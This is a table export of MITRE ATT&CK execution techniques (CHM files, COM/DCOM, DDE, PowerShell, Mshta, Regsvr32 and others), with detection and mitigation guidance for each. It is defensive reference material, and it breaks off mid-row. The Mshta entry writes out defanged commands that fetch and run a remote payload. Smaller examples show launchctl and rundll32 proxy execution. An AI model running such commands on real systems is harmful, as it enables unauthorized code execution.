T1223	**1**	**Technique**	**Compiled HTML File**	Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)	Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. Monitor presence and use of CHM files, especially if they are not typically used within an environment.	Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.	defense-evasion, execution	File monitoring, Process monitoring, Process command-line parameters	Windows	User	https://attack.mitre.org/techniques/T1223
T1175	**1**	**Technique**	**Component Object Model and Distributed COM**	Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM. Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.	Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.		lateral-movement, execution	PowerShell logs, API monitoring, Authentication logs, DLL monitoring	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1175

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1196	**1**	**Technique**	**Control Panel Items**	Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL) Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.	Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014) Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace</code> and <code>HKEY_CLASSES_ROOT\CLSID\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL) * Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL) Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. Restrict storage and execution of Control Panel items to protected directories, such as <code>C:\Windows</code>, rather than user directories. Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files. Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)	defense-evasion, execution	API monitoring, Binary file metadata, DLL monitoring, Windows Registry	Windows	User, Administrator	https://attack.mitre.org/techniques/T1196
T1173	**1**	**Technique**	**Dynamic Data Exchange**	Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.	OLE and Office Open XML files can be scanned for 'DDEAUTO', 'DDE', and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017) Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application. Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.	Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017) Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017) On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)	execution	API monitoring, DLL monitoring, Process monitoring, Windows Registry	Windows	User	https://attack.mitre.org/techniques/T1173
T1106	**1**	**Technique**	**Execution through API**	Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess) Additional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier) * CreateProcessA() and CreateProcessW(), * CreateProcessAsUserA() and CreateProcessAsUserW(), * CreateProcessInternalA() and CreateProcessInternalW(), * CreateProcessWithLogonW(), CreateProcessWithTokenW(), * LoadLibraryA() and LoadLibraryW(), * LoadLibraryExA() and LoadLibraryExW(), * LoadModule(), * LoadPackagedLibrary(), * WinExec(), * ShellExecuteA() and ShellExecuteW(), * ShellExecuteExA() and ShellExecuteExW()	Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.	Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	execution	API monitoring, Process monitoring	Windows	User, Administrator	https://attack.mitre.org/techniques/T1106

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1129	**1**	**Technique**	**Execution through Module Load**	The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files) The module loader can load DLLs: * via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory; * via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension); * via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs; * via <code>&#x3c;file name="filename.extension" loadFrom="fully-qualified or relative pathname"&#x3e;</code> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT. Adversaries can use this functionality as a way to execute arbitrary code on a system.	Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.	Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.	execution	API monitoring, DLL monitoring, File monitoring, Process monitoring	Windows	User	https://attack.mitre.org/techniques/T1129
T1203	**1**	**Technique**	**Exploitation for Client Execution**	Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. Several types exist: ### Browser-based Exploitation Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed. ### Office Applications Common office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run. ### Common Third-party Applications Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.	Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.	Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape) Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape) Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.	execution	Anti-virus, System calls, Process monitoring	Linux, Windows		https://attack.mitre.org/techniques/T1203
T1061	**1**	**Technique**	**Graphical User Interface**	The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.	Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.	Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems. Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	execution	File monitoring, Process monitoring, Process command-line parameters, Binary file metadata	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1061
T1118	**1**	**Technique**	**InstallUtil**	InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft. Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)	Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.	InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.	defense-evasion, execution	Process monitoring, Process command-line parameters	Windows	User	https://attack.mitre.org/techniques/T1118
T1152	**1**	**Technique**	**Launchctl**	Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.	Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.	Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.	defense-evasion, execution	File monitoring, Process monitoring, Process command-line parameters	macOS	User, Administrator	https://attack.mitre.org/techniques/T1152

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1168	**1**	**Technique**	**Local Job Scheduling**	On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). ### cron System-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems. Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. ### at The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. ### launchd Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.	Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.	Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.	persistence, execution	File monitoring, Process monitoring	Linux, macOS	Administrator, User	https://attack.mitre.org/techniques/T1168
T1177	**1**	**Technique**	**LSASS Driver**	The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem) Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.	With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. Utilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)	On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance. On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017) Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)	execution, persistence	API monitoring, DLL monitoring, File monitoring, Kernel drivers	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1177
T1170	**1**	**Technique**	**Mshta**	Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)	Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.	Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.	defense-evasion, execution	Process monitoring, Process command-line parameters	Windows	User	https://attack.mitre.org/techniques/T1170
T1086	**1**	**Technique**	**PowerShell**	PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. Administrator permissions are required to use PowerShell to connect to remote systems. A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack) PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)	If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.	It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.	execution	PowerShell logs, Loaded DLLs, DLL monitoring, Windows Registry	Windows	User, Administrator	https://attack.mitre.org/techniques/T1086

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1121	**1**	**Technique**	**Regsvcs/Regasm**	Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)	Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.	Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.	defense-evasion, execution	Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1121
T1117	**1**	**Technique**	**Regsvr32**	Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32) Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary. Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting 